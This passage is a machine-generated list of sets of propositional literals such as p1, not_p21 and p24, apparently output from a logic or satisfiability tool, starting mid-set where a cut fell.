not_p19} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p3, not_p24, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p25, not_p24, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p25, not_p24, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p3, not_p24, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p3, not_p24, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p25, not_p24, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p25, not_p24, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p3, not_p24, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p25, not_p24, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p3, not_p2, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p3, not_p2, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p16, p24, not_p25, not_p2, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p16, p24, not_p25, not_p2, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p3, not_p2, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p3, not_p2, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p16, p24, not_p25, not_p2, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p16, p24, not_p25, not_p2, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p3, not_p2, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p16, p24, not_p25, not_p2, not_p4, not_p19} {p22, p2, p5, not_p15, p16, p17, p24, not_p3, not_p4} {p1, p22, p5, p16, p17, p24, not_p3, not_p4} {p22, p2, p5, not_p15, p16, p17, p24, p14, not_p4} {p1, p22, p5, p16, p17, p24, p14, not_p4} {p22, p2, p5, not_p15, p16, p17, p24, not_p25, not_p4} {p1, p22, p5, p16, p17, p24, not_p25, not_p4} {p22, p2, p5, not_p15, p16, p17, p24, p9, not_p4} {p1, p22, p5, p16, p17, p6, p24, p9, not_p4} {p18, p1, p22, p5, p16, p17, p24, p9, not_p4} {p1, p22, p5, p16, p17, p24, p9, p7, not_p4} {p2, not_p12, p5, not_p15, p16, p17, p24, not_p3, p25, not_p4, not_p19} {not_p21, p2, p5, not_p15, p16, p17, p24, not_p3, p25, not_p4, not_p19} {p2, not_p12, not_p5, p5, not_p15, p16, p17, p24, not_p3, p25, not_p4} {not_p21, p2, not_p5, p5, not_p15, p16, p17, p24, not_p3, p25, not_p4} {p18, p1, not_p12, p5, p16, p17, p24, not_p3, p25, not_p4, not_p19} {not_p21, p18, p1, p5, p16, p17, p24, not_p3, p25, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p24, not_p3, p25, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p24, not_p3, p25, not_p4, not_p19} {p18, p1, not_p12, not_p5, p5, p16, p17, p24, not_p3, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p24, not_p3, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p16, p17, p24, not_p3, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p24, not_p3, p25, not_p4} {p2, not_p12, p5, not_p15, p16, p17, p24, not_p3, p21, not_p4, not_p19} {not_p21, p2, p5, not_p15, p16, p17, p24, not_p3, p21, not_p4, not_p19} {p18, p1, not_p12, p5, p16, p17, p24, not_p3, p21, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p24, not_p3, p21, not_p4, not_p19} {not_p21, p18, p1, p5, p16, p17, p24, not_p3, p21, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p24, not_p3, p21, not_p4, not_p19} {p2, not_p12, not_p5, p5, not_p15, p16, p17, p24, not_p3, p21, not_p4} {p18, p1, not_p12, not_p5, p5, p16, p17, p24, not_p3, p21, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p24, not_p3, p21, not_p4} {not_p21, p2, not_p5, p5, not_p15, p16, p17, p24, not_p3, p21, not_p4} {not_p21, p18, p1, not_p5, p5, p16, p17, p24, not_p3, p21, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p24, not_p3, p21, not_p4} {p2, not_p12, p5, not_p15, p16, p17, p24, not_p25, p25, not_p4, not_p19} {not_p21, p2, p5, not_p15, p16, p17, p24, not_p25, p25, not_p4, not_p19} {p2, not_p12, not_p5, p5, not_p15, p16, p17, p24, not_p25, p25, not_p4} {not_p21, p2, not_p5, p5, not_p15, p16, p17, p24, not_p25, p25, not_p4} {p18, p1, not_p12, p5, p16, p17, p24, not_p25, p25, not_p4, not_p19} {not_p21, p18, p1, p5, p16, p17, p24, not_p25, p25, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p24, not_p25, p25, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p24, not_p25, p25, not_p4, not_p19} {p18, p1, not_p12, not_p5, p5, p16, p17, p24, not_p25, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p24, not_p25, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p16, p17, p24, not_p25, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p24, not_p25, p25, not_p4} {p2, not_p12, p5, not_p15, p16, p17, p24, not_p25, p21, not_p4, not_p19} {not_p21, p2, p5, not_p15, p16, p17, p24, not_p25, p21, not_p4, not_p19} {p18, p1, not_p12, p5, p16, p17, p24, not_p25, p21, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p24, not_p25, p21, not_p4, not_p19} {not_p21, p18, p1, p5, p16, p17, p24, not_p25, p21, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p24, not_p25, p21, not_p4, not_p19} {p2, not_p12, not_p5, p5, not_p15, p16, p17, p24, not_p25, p21, not_p4} {p18, p1, not_p12, not_p5, p5, p16, p17, p24, not_p25, p21, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p24, not_p25, p21, not_p4} {not_p21, p2, not_p5, p5, not_p15, p16, p17, p24, not_p25, p21, not_p4} {not_p21, p18, p1, not_p5, p5, p16, p17, p24, not_p25, p21, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p24, not_p25, p21, not_p4} {p2, not_p12, p5, not_p15, p16, p17, p24, p9, p25, not_p4, not_p19} {not_p21, p2, p5, not_p15, p16, p17, p24, p9, p25, not_p4, not_p19} {p2, not_p12, p5, not_p15, p16, p17, p24, p9, p21, not_p4, not_p19} {not_p21, p2, p5, not_p15, p16, p17, p24, p9, p21, not_p4, not_p19} {p18, p1, not_p12, p5, p16, p17, p24, p9, p25, not_p4, not_p19} {p18, p1, not_p12, p5, p16, p17, p24, p9, p21, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p6, p24, p9, p25, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p6, p24, p9, p21, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p6, p11, p24, p9, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p24, p9, p7, p25, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p11, p24, p9, p7, not_p4, not_p19} {not_p21, p18, p1, p5, p16, p17, p24, p9, p25, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p6, p24, p9, p25, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p24, p9, p7, p25, not_p4, not_p19} {not_p21, p18, p1, p5, p16, p17, p24, p9, p21, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p6, p24, p9, p21, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p6, p11, p24, p9, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p11, p24, p9, p7, not_p4, not_p19} {p2, not_p12, not_p5, p5, not_p15, p16, p17, p24, p9, p25, not_p4} {p2, not_p12, not_p5, p5, not_p15, p16, p17, p24, p9, p21, not_p4} {p18, p1, not_p12, not_p5, p5, p16, p17, p24, p9, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p6, p24, p9, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p24, p9, p7, p25, not_p4} {p18, p1, not_p12, not_p5, p5, p16, p17, p24, p9, p21, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p6, p24, p9, p21, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p6, p11, p24, p9, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p11, p24, p9, p7, not_p4} {not_p21, p2, not_p5, p5, not_p15, p16, p17, p24, p9, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p16, p17, p24, p9, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p6, p24, p9, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p24, p9, p7, p25, not_p4} {not_p21, p2, not_p5, p5, not_p15, p16, p17, p24, p9, p21, not_p4} {not_p21, p18, p1, not_p5, p5, p16, p17, p24, p9, p21, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p6, p24, p9, p21, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p6, p11, p24, p9, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p11, p24, p9, p7, not_p4} {p2, not_p12, p5, not_p15, p16, p17, p24, p14, p25, not_p4, not_p19} {not_p21, p2, p5, not_p15, p16, p17, p24, p14, p25, not_p4, not_p19} {p18, p1, not_p12, p5, p16, p17, p24, p14, p25, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p24, p14, p25, not_p4, not_p19} {not_p21, p18, p1, p5, p16, p17, p24, p14, p25, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p24, p14, p25, not_p4, not_p19} {p2, not_p12, not_p5, p5, not_p15, p16, p17, p24, p14, p25, not_p4} {p18, p1, not_p12, not_p5, p5, p16, p17, p24, p14, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p24, p14, p25, not_p4} {not_p21, p2, not_p5, p5, not_p15, p16, p17, p24, p14, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p16, p17, p24, p14, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p24, p14, p25, not_p4} {p2, not_p12, p5, not_p15, p16, p17, p24, p14, p21, not_p4, not_p19} {p18, p1, not_p12, p5, p16, p17, p24, p14, p21, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p24, p14, p21, not_p4, not_p19} {not_p21, p2, p5, not_p15, p16, p17, p24, p14, p21, not_p4, not_p19} {not_p21, p18, p1, p5, p16, p17, p24, p14, p21, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p24, p14, p21, not_p4, not_p19} {p2, not_p12, not_p5, p5, not_p15, p16, p17, p24, p14, p21, not_p4} {p18, p1, not_p12, not_p5, p5, p16, p17, p24, p14, p21, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p24, p14, p21, not_p4} {not_p21, p2, not_p5, p5, not_p15, p16, p17, p24, p14, p21, not_p4} {not_p21, p18, p1, not_p5, p5, p16, p17, p24, p14, p21, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p24, p14, p21, not_p4} {p22, p2, p5, not_p15, p16, p24, not_p8, p14, p25, not_p4} {p1, p22, p5, p16, p24, not_p8, p14, p25, not_p4} {p2, not_p12, p5, not_p15, p16, p24, not_p8, p14, p25, not_p4, not_p19} {not_p21, p2, p5, not_p15, p16, p24, not_p8, p14, p25, not_p4, not_p19} {p18, p1, not_p12, p5, p16, p24, not_p8, p14, p25, not_p4, not_p19} {p20, p1, not_p12, p5, p16, p24, not_p8, p14, p25, not_p4, not_p19} {not_p21, p18, p1, p5, p16, p24, not_p8, p14, p25, not_p4, not_p19} {not_p21, p20, p1, p5, p16, p24, not_p8, p14, p25, not_p4, not_p19} {p2, not_p12, not_p5, p5, not_p15, p16, p24, not_p8, p14, p25, not_p4} {not_p21, p2, not_p5, p5, not_p15, p16, p24, not_p8, p14, p25, not_p4} {p18, p1, not_p12, not_p5, p5, p16, p24, not_p8, p14, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p24, not_p8, p14, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p16, p24, not_p8, p14, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p24, not_p8, p14, p25, not_p4} {p1, p22, p5, p16, p6, p8, p24, p14, not_p4} {not_p21, p18, p1, not_p5, p5, p16, p6, p8, p24, p14, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p16, p6, p8, p24, p14, p25, not_p4} {p18, p1, not_p12, not_p5, p5, p16, p6, p8, p24, p14, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p16, p6, p8, p24, p14, p25, not_p4} {p20, p1, not_p12, p5, p16, p17, p24, p9, p25, p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p24, p9, p21, p4, not_p19} {p20, p1, not_p12, p5, p16, p17, p11, p24, p9, p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p24, p9, p25, p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p24, p9, p21, p4, not_p19} {not_p21, p20, p1, p5, p16, p17, p11, p24, p9, p4, not_p19} {p20, p1, not_p12, not_p5, p5, p16, p17, p24, p9, p25, p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p24, p9, p25, p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p24, p9, p21, p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p24, p9, p21, p4} {p20, p1, not_p12, not_p5, p5, p16, p17, p11, p24, p9, p4} {not_p21, p20, p1, not_p5, p5, p16, p17, p11, p24, p9, p4} {p1, p22, p5, p16, p17, p24, p9, p4} {p1, p22, not_p5, p17, not_p20, p24, p14, p4} {p18, p1, not_p12, not_p5, p17, not_p20, p24, p14, p4} {p20, p1, not_p12, not_p5, p17, not_p20, p24, p14, p4} {not_p21, p1, p3, not_p5, p17, not_p20, p24, p14, p4} {not_p21, p18, p1, not_p5, p17, not_p20, p24, p14, p4} {not_p21, p20, p1, not_p5, p17, not_p20, p24, p14, p4} {p1, p22, not_p5, p17, not_p20, p24, not_p3, p4} {p1, p22, not_p5, not_p15, p17, not_p20, p24, p9, p4} {p1, p22, p12, not_p5, p17, not_p20, p24, p9, p4} {p18, p1, p22, not_p5, p17, not_p20, p24, p9, p4} {p1, p22, not_p5, p17, not_p20, p24, not_p25, p4} {p18, p1, not_p12, not_p5, p17, not_p20, p24, not_p3, p4} {not_p21, p18, p1, not_p5, p17, not_p20, p24, not_p3, p4} {p20, p1, not_p12, not_p5, p17, not_p20, p24, not_p3, p4} {not_p21, p20, p1, not_p5, p17, not_p20, p24, not_p3, p4} {not_p21, p1, p3, not_p5, p17, not_p20, p24, not_p3, p4} {p18, p1, not_p12, not_p5, p17, not_p20, p24, p9, p4} {not_p21, p18, p1, not_p5, p17, not_p20, p24, p9, p4} {p20, p1, not_p12, not_p5, not_p15, p17, not_p20, p24, p9, p4} {not_p21, p20, p1, not_p5, not_p15, p17, not_p20, p24, p9, p4} {p20, p1, p12, not_p12, not_p5, p17, not_p20, p24, p9, p4} {not_p21, p20, p1, p12, not_p5, p17, not_p20, p24, p9, p4} {not_p21, p1, p3, not_p5, not_p15, p17, not_p20, p24, p9, p4} {not_p21, p1, p12, p3, not_p5, p17, not_p20, p24, p9, p4} {p18, p1, not_p12, not_p5, p17, not_p20, p24, not_p25, p4} {not_p21, p18, p1, not_p5, p17, not_p20, p24, not_p25, p4} {p20, p1, not_p12, not_p5, p17, not_p20, p24, not_p25, p4} {not_p21, p20, p1, not_p5, p17, not_p20, p24, not_p25, p4} {not_p21, p1, p3, not_p5, p17, not_p20, p24, not_p25, p4} {p1, p22, not_p5, p17, p24, p14, p21, p25, p4} {p1, p22, not_p5, p17, p24, not_p3, p21, p25, p4} {p1, p22, not_p5, not_p15, p17, p24, p9, p21, p25, p4} {p18, p1, p22, not_p5, p17, p24, p9, p21, p25, p4} {p1, p22, not_p5, p17, p24, not_p25, p21, p25, p4} {p1, p22, p12, not_p5, p17, p24, not_p3, p25, not_p24, p4} {p1, p22, p12, not_p5, p17, p24, not_p3, p25, not_p2, p4} {p1, p22, p12, not_p5, p17, p24, p9, p25, p4} {p1, p22, p12, not_p5, p17, p24, p14, p25, not_p24, p4} {p1, p22, p12, not_p5, p17, p24, p14, p25, not_p2, p4} {p1, p22, p12, not_p5, p17, p24, not_p25, p25, not_p24, p4} {p1, p22, p12, not_p5, p17, p24, not_p25, p25, not_p2, p4} {p1, p22, not_p5, not_p15, p17, p11, p24, p9, p21, p4} {p1, p22, p12, not_p5, p17, p11, p24, p9, p4} {p18, p1, not_p12, not_p5, p17, p24, p9, p21, p25, p4} {p18, p1, not_p12, not_p5, p17, p24, p14, p21, p25, p4} {p18, p1, not_p12, not_p5, p17, p24, not_p3, p21, p25, p4} {p18, p1, not_p12, not_p5, p17, p24, not_p25, p21, p25, p4} {not_p21, p18, p1, not_p5, p17, p24, p9, p21, p25, p4} {not_p21, p18, p1, not_p5, p17, p24, p14, p21, p25, p4} {not_p21, p18, p1, not_p5, p17, p24, not_p3, p21, p25, p4} {not_p21, p18, p1, not_p5, p17, p24, not_p25, p21, p25, p4} {p18, p1, p12, not_p12, not_p5, p17, p24, p9, p25, p4} {p18, p1, p12, not_p12, not_p5, p17, p24, p14, p25, not_p24, p4} {p18, p1, p12, not_p12, not_p5, p17, p24, p14, p25, not_p2, p4} {p18, p1, p12, not_p12, not_p5, p17, p24, not_p3, p25, not_p24, p4} {p18, p1, p12, not_p12, not_p5, p17, p24, not_p25, p25, not_p24, p4} {p18, p1, p12, not_p12, not_p5, p17, p24, not_p3, p25, not_p2, p4} {p18, p1, p12, not_p12, not_p5, p17, p24, not_p25, p25, not_p2, p4} {not_p21, p18, p1, p12, not_p5, p17, p24, p9, p25, p4} {not_p21, p18, p1, p12, not_p5, p17, p24, p14, p25, not_p24, p4} {not_p21, p18, p1, p12, not_p5, p17, p24, not_p3, p25, not_p24, p4} {not_p21, p18, p1, p12, not_p5, p17, p24, not_p25, p25, not_p24, p4} {not_p21, p18, p1, p12, not_p5, p17, p24, p14, p25, not_p2, p4} {not_p21, p18, p1, p12, not_p5, p17, p24, not_p3, p25, not_p2, p4} {not_p21, p18, p1, p12, not_p5, p17, p24, not_p25, p25, not_p2, p4} {p20, p1, not_p12, not_p5, p17, p24, p14, p21, p25, p4} {p20, p1, not_p12, not_p5, p17, p24, not_p3, p21, p25, p4} {p20, p1, not_p12, not_p5, not_p15, p17, p24, p9, p21, p25, p4} {p20, p1, not_p12, not_p5, p17, p24, not_p25, p21, p25, p4} {not_p21, p20, p1, not_p5, p17, p24, p14, p21, p25, p4} {not_p21, p20, p1, not_p5, p17, p24, not_p3, p21, p25, p4} {not_p21, p20, p1, not_p5, not_p15, p17, p24, p9, p21, p25, p4} {not_p21, p20, p1, not_p5, p17, p24, not_p25, p21, p25, p4} {p20, p1, p12, not_p12, not_p5, p17, p24, p9, p25, p4} {p20, p1, p12, not_p12, not_p5, p17, p24, p14, p25, not_p24, p4} {p20, p1, p12, not_p12, not_p5, p17, p24, p14, p25, not_p2, p4} {p20, p1, p12, not_p12, not_p5, p17, p24, not_p3, p25, not_p24, p4} {p20, p1, p12, not_p12, not_p5, p17, p24, not_p25, p25, not_p24, p4} {p20, p1, p12, not_p12, not_p5, p17, p24, not_p3, p25, not_p2, p4} {p20, p1, p12, not_p12, not_p5, p17, p24, not_p25, p25, not_p2, p4} {not_p21, p20, p1, p12, not_p5, p17, p24, not_p3, p25, not_p24, p4} {not_p21, p20, p1, p12, not_p5, p17, p24, not_p3, p25, not_p2, p4} {not_p21, p20, p1, p12, not_p5, p17, p24, p9, p25, p4} {not_p21, p20, p1, p12, not_p5, p17, p24, p14, p25, not_p24, p4} {not_p21, p20, p1, p12, not_p5, p17, p24, p14, p25, not_p2, p4} {not_p21, p20, p1, p12, not_p5, p17, p24, not_p25, p25, not_p24, p4} {not_p21, p20, p1, p12, not_p5, p17, p24, not_p25, p25, not_p2, p4} {not_p21, p1, p3, not_p5, p17, p24, p14, p21, p25, p4} {not_p21, p1, p3, not_p5, p17, p24, not_p3, p21, p25, p4} {not_p21, p1, p3, not_p5, not_p15, p17, p24, p9, p21, p25, p4} {not_p21, p1, p3, not_p5, p17, p24, not_p25, p21, p25, p4} {not_p21, p1, p12, p3, not_p5, p17, p24, p9, p25, p4} {not_p21, p1, p12, p3, not_p5, p17, p24, p14, p25, not_p24, p4} {not_p21, p1, p12, p3, not_p5, p17, p24, p14, p25, not_p2, p4} {not_p21, p1, p12, p3, not_p5, p17, p24, not_p3, p25, not_p24, p4} {not_p21, p1, p12, p3, not_p5, p17, p24, not_p25, p25, not_p24, p4} {not_p21, p1, p12, p3, not_p5, p17, p24, not_p3, p25, not_p2, p4} {not_p21, p1, p12, p3, not_p5, p17, p24, not_p25, p25, not_p2, p4} {p20, p1, not_p12, not_p5, not_p15, p17, p11, p24, p9, p21, p4} {not_p21, p20, p1, not_p5, not_p15, p17, p11, p24, p9, p21, p4} {not_p21, p1, p3, not_p5, not_p15, p17, p11, p24, p9, p21, p4} {p20, p1, p12, not_p12, not_p5, p17, p11, p24, p9, p4} {not_p21, p20, p1, p12, not_p5, p17, p11, p24, p9, p4} {not_p21, p1, p12, p3, not_p5, p17, p11, p24, p9, p4} {p1, p22, not_p5, p24, not_p8, not_p3, p25, p4} {p18, p1, p22, not_p5, p24, not_p8, p9, p25, p4} {p1, p22, not_p5, not_p15, p24, not_p8, p9, p25, p4} {p1, p22, not_p5, p24, not_p8, p14, p21, p25, p4} {p1, p22, not_p5, not_p20, p24, not_p8, p14, p25, p4} {p1, p22, not_p5, p24, not_p8, not_p25, p25, p4} {p1, p22, p12, not_p5, p24, not_p8, not_p3, not_p24, p4} {p1, p22, p12, not_p5, p24, not_p8, not_p3, not_p2, p4} {p1, p22, not_p5, not_p15, p8, p24, not_p8, p9, p4} {p1, p22, p12, not_p5, p24, not_p8, p9, p4} {p1, p22, p12, not_p5, p24, not_p8, p14, not_p24, p4} {p1, p22, p12, not_p5, p24, not_p8, p14, not_p2, p4} {p1, p22, p12, not_p5, p24, not_p8, not_p25, not_p24, p4} {p1, p22, p12, not_p5, p24, not_p8, not_p25, not_p2, p4} {p18, p1, not_p12, not_p5, p24, not_p8, p9, p25, p4} {p18, p1, not_p12, not_p5, p24, not_p8, not_p3, p25, p4} {p18, p1, not_p12, not_p5, p24, not_p8, p14, p21, p25, p4} {p18, p1, not_p12, not_p5, not_p20, p24, not_p8, p14, p25, p4} {p18, p1, not_p12, not_p5, p24, not_p8, not_p25, p25, p4} {not_p21, p18, p1, not_p5, p24, not_p8, p9, p25, p4} {not_p21, p18, p1, not_p5, p24, not_p8, not_p3, p25, p4} {not_p21, p18, p1, not_p5, p24, not_p8, p14, p21, p25, p4} {not_p21, p18, p1, not_p5, not_p20, p24, not_p8, p14, p25, p4} {not_p21, p18, p1, not_p5, p24, not_p8, not_p25, p25, p4} {p20, p1, not_p12, not_p5, p24, not_p8, not_p3, p25, p4} {p20, p1, not_p12, not_p5, not_p15, p24, not_p8, p9, p25, p4} {p20, p1, not_p12, not_p5, p24, not_p8, p14, p21, p25, p4} {p20, p1, not_p12, not_p5, not_p20, p24, not_p8, p14, p25, p4} {p20, p1, not_p12, not_p5, p24, not_p8, not_p25, p25, p4} {not_p21, p20, p1, not_p5, p24, not_p8, not_p3, p25, p4} {not_p21, p20, p1, not_p5, not_p15, p24, not_p8, p9, p25, p4} {not_p21, p20, p1, not_p5, p24, not_p8, p14, p21, p25, p4} {not_p21, p20, p1, not_p5, not_p20, p24, not_p8, p14, p25, p4} {not_p21, p20, p1, not_p5, p24, not_p8, not_p25, p25, p4} {not_p21, p1, p3, not_p5, p24, not_p8, not_p3, p25, p4} {not_p21, p1, p3, not_p5, not_p15, p24, not_p8, p9, p25, p4} {not_p21, p1, p3, not_p5, p24, not_p8, p14, p21, p25, p4} {not_p21, p1, p3, not_p5, not_p20, p24, not_p8, p14, p25, p4} {not_p21, p1, p3, not_p5, p24, not_p8, not_p25, p25, p4} {p18, p1, p12, not_p12, not_p5, p24, not_p8, not_p3, not_p24, p4} {not_p21, p18, p1, p12, not_p5, p24, not_p8, not_p3, not_p24, p4} {p18, p1, p12, not_p12, not_p5, p24, not_p8, not_p3, not_p2, p4} {not_p21, p18, p1, p12, not_p5, p24, not_p8, not_p3, not_p2, p4} {p20, p1, p12, not_p12, not_p5, p24, not_p8, not_p3, not_p24, p4} {not_p21, p20, p1, p12, not_p5, p24, not_p8, not_p3, not_p24, p4} {p20, p1, p12, not_p12, not_p5, p24, not_p8, not_p3, not_p2, p4} {not_p21, p20, p1, p12, not_p5, p24, not_p8, not_p3, not_p2, p4} {not_p21, p1, p12, p3, not_p5, p24, not_p8, not_p3, not_p24, p4} {not_p21, p1, p12, p3, not_p5, p24, not_p8, not_p3, not_p2, p4} {p18, p1, p12, not_p12, not_p5, p24, not_p8, p9, p4} {not_p21, p18, p1, p12, not_p5, p24, not_p8, p9, p4} {not_p21, p1, p12, p3, not_p5, p24, not_p8, p9, p4} {p20, p1, p12, not_p12, not_p5, p24, not_p8, p9, p4} {not_p21, p20, p1, p12, not_p5, p24, not_p8, p9, p4} {p20, p1, not_p12, not_p5, not_p15, p8, p24, not_p8, p9, p4} {not_p21, p20, p1, not_p5, not_p15, p8, p24, not_p8, p9, p4} {not_p21, p1, p3, not_p5, not_p15, p8, p24, not_p8, p9, p4} {p18, p1, p12, not_p12, not_p5, p24, not_p8, not_p25, not_p24, p4} {not_p21, p18, p1, p12, not_p5, p24, not_p8, not_p25, not_p24, p4} {p18, p1, p12, not_p12, not_p5, p24, not_p8, not_p25, not_p2, p4} {not_p21, p18, p1, p12, not_p5, p24, not_p8, not_p25, not_p2, p4} {p20, p1, p12, not_p12, not_p5, p24, not_p8, not_p25, not_p24, p4} {not_p21, p20, p1, p12, not_p5, p24, not_p8, not_p25, not_p24, p4} {p20, p1, p12, not_p12, not_p5, p24, not_p8, not_p25, not_p2, p4} {not_p21, p20, p1, p12, not_p5, p24, not_p8, not_p25, not_p2, p4} {not_p21, p1, p12, p3, not_p5, p24, not_p8, not_p25, not_p24, p4} {not_p21, p1, p12, p3, not_p5, p24, not_p8, not_p25, not_p2, p4} {p18, p1, p12, not_p12, not_p5, p24, not_p8, p14, not_p24, p4} {not_p21, p18, p1, p12, not_p5, p24, not_p8, p14, not_p24, p4} {p18, p1, p12, not_p12, not_p5, p24, not_p8, p14, not_p2, p4} {not_p21, p18, p1, p12, not_p5, p24, not_p8, p14, not_p2, p4} {p20, p1, p12, not_p12, not_p5, p24, not_p8, p14, not_p24, p4} {not_p21, p20, p1, p12, not_p5, p24, not_p8, p14, not_p24, p4} {p20, p1, p12, not_p12, not_p5, p24, not_p8, p14, not_p2, p4} {not_p21, p20, p1, p12, not_p5, p24, not_p8, p14, not_p2, p4} {not_p21, p1, p12, p3, not_p5, p24, not_p8, p14, not_p24, p4} {not_p21, p1, p12, p3, not_p5, p24, not_p8, p14, not_p2, p4} {p1, p22, not_p5, not_p15, p8, p24, p9, p4, not_p19} {p20, p1, not_p12, not_p5, not_p15, p8, p24, p9, p4, not_p19} {not_p21, p20, p1, not_p5, not_p15, p8, p24, p9, p4, not_p19} {not_p21, p1, p3, not_p5, not_p15, p8, p24, p9, p4, not_p19} {p1, p22, p12, not_p5, p6, p24, p9, p4} {p1, p22, p12, not_p5, p6, p24, p14, not_p24, p4} {p1, p22, p12, not_p5, p6, p24, p14, not_p2, p4} {p1, p22, p12, not_p5, p6, p24, not_p3, not_p24, p4} {p1, p22, p12, not_p5, p6, p24, not_p25, not_p24, p4} {p1, p22, p12, not_p5, p6, p24, not_p3, not_p2, p4} {p1, p22, p12, not_p5, p6, p24, not_p25, not_p2, p4} {p1, p22, p12, not_p5, p24, p9, p4, not_p19} {p1, p22, p12, not_p5, p24, p14, not_p24, p4, not_p19} {p1, p22, p12, not_p5, p24, p14, not_p2, p4, not_p19} {p1, p22, p12, not_p5, p24, not_p3, not_p24, p4, not_p19} {p1, p22, p12, not_p5, p24, not_p25, not_p24, p4, not_p19} {p1, p22, p12, not_p5, p24, not_p3, not_p2, p4, not_p19} {p1, p22, p12, not_p5, p24, not_p25, not_p2, p4, not_p19} {p18, p1, p12, not_p12, not_p5, p6, p24, p9, p4} {not_p21, p18, p1, p12, not_p5, p6, p24, p9, p4} {p18, p1, p12, not_p12, not_p5, p6, p24, p14, not_p24, p4} {p18, p1, p12, not_p12, not_p5, p6, p24, not_p3, not_p24, p4} {p18, p1, p12, not_p12, not_p5, p6, p24, not_p25, not_p24, p4} {p18, p1, p12, not_p12, not_p5, p6, p24, p14, not_p2, p4} {p18, p1, p12, not_p12, not_p5, p6, p24, not_p3, not_p2, p4} {p18, p1, p12, not_p12, not_p5, p6, p24, not_p25, not_p2, p4} {not_p21, p18, p1, p12, not_p5, p6, p24, p14, not_p24, p4} {not_p21, p18, p1, p12, not_p5, p6, p24, p14, not_p2, p4} {not_p21, p18, p1, p12, not_p5, p6, p24, not_p3, not_p24, p4} {not_p21, p18, p1, p12, not_p5, p6, p24, not_p25, not_p24, p4} {not_p21, p18, p1, p12, not_p5, p6, p24, not_p3, not_p2, p4} {not_p21, p18, p1, p12, not_p5, p6, p24, not_p25, not_p2, p4} {p18, p1, p12, not_p12, not_p5, p24, p9, p4, not_p19} {not_p21, p18, p1, p12, not_p5, p24, p9, p4, not_p19} {p18, p1, p12, not_p12, not_p5, p24, p14, not_p24, p4, not_p19} 